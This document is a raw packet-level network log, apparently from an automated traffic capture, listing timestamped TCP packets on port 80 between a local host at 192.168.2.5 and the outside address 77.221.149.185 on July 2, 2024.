Jul 2, 2024 22:52:30.092555046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092578888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092745066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092756033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092767954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092796087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092796087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092806101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092814922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092824936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092833996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092842102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092844009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092854023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092869997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092904091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.092959881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092972040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092981100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092989922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.092999935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093008041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093010902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093020916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093029976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093034983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093038082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093044996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093054056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093058109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093064070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093072891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093074083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093082905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093103886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093128920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093369007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093838930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093851089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093861103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093872070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093894005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093903065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093911886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093920946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093921900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093930960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093940973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093950987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093960047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093960047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093970060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093978882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093986034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.093988895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.093997955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094007969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094017982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094021082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094027042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094037056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094043970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094047070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094057083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094067097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094078064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094101906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094779968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094790936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094808102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094818115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094837904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094842911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094861984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094868898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094871998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094881058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094892025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094901085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094911098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094913006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094922066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094930887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094940901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094949007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094949961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094960928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094968081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094969988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094980001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094989061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.094994068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094994068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.094999075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095007896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095021963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095060110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095532894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095544100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095552921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095562935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095571995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095582008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095586061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095591068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095599890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095608950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095611095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095617056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095619917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095628977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095635891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095638990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095649004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095658064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095680952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095685005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095695019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095705032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095716000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095725060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095730066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095735073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095743895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095757961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095757961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095767975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095771074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095777035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095786095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095796108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095805883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.095813036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.095838070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096576929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096587896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096596956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096606970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096617937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096627951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096628904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096637964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096640110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096647978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096657038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096676111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096690893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096698046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096702099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096713066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096723080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096729040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096731901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096741915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096749067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096751928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096757889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096769094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096776009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096780062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096791029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096801043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096801043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096811056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096821070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096824884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096831083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096841097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096851110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.096872091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.096894979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097696066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097707033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097716093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097726107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097733974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097743988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097744942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097754002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097763062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097765923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097771883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097776890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097781897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097784996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097790956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097801924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097812891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097821951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097826958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097831964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097841024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097845078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097850084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097860098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.097903967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.097903967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098290920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098301888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098311901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098320961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098330975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098340988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098351002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098356962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098360062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098371029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098372936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098380089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098390102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098407984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098412991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098422050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098432064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098444939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098454952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098460913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098464012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098474979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098484039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098485947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098495960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098504066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098514080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098516941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098524094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098534107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098535061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098543882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098555088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098555088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098563910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.098571062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.098604918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099577904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099590063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099597931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099608898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099618912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099622011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099630117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099638939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099641085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099651098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099658966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099662066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099670887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099685907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099706888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099711895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099716902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099726915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099736929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099745989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099750996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099757910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099769115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099769115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099778891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099787951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099797010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099797010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099807978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099811077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099821091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099829912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099831104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099841118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099850893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099860907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099862099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099872112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.099893093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.099905968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100423098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100434065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100444078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100452900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100461960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100472927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100477934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100486040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100497961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100508928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100509882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100518942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100529909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100538969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100543022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100548983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100577116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100594044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100598097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100608110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100617886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100640059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100671053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100779057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100789070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100799084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100807905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100816965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100827932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100831032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100837946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100847960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100848913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100857019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100867033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100871086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100876093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100881100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100888968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100927114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100930929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100940943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100950003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100960016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100970030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100977898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100980043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.100986958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.100995064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101003885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101012945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101022959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101023912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.101032019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101041079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.101042986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:30.101063013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.101079941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:30.101263046 CEST	80	49712	77.221.149.185	192.168.2.5
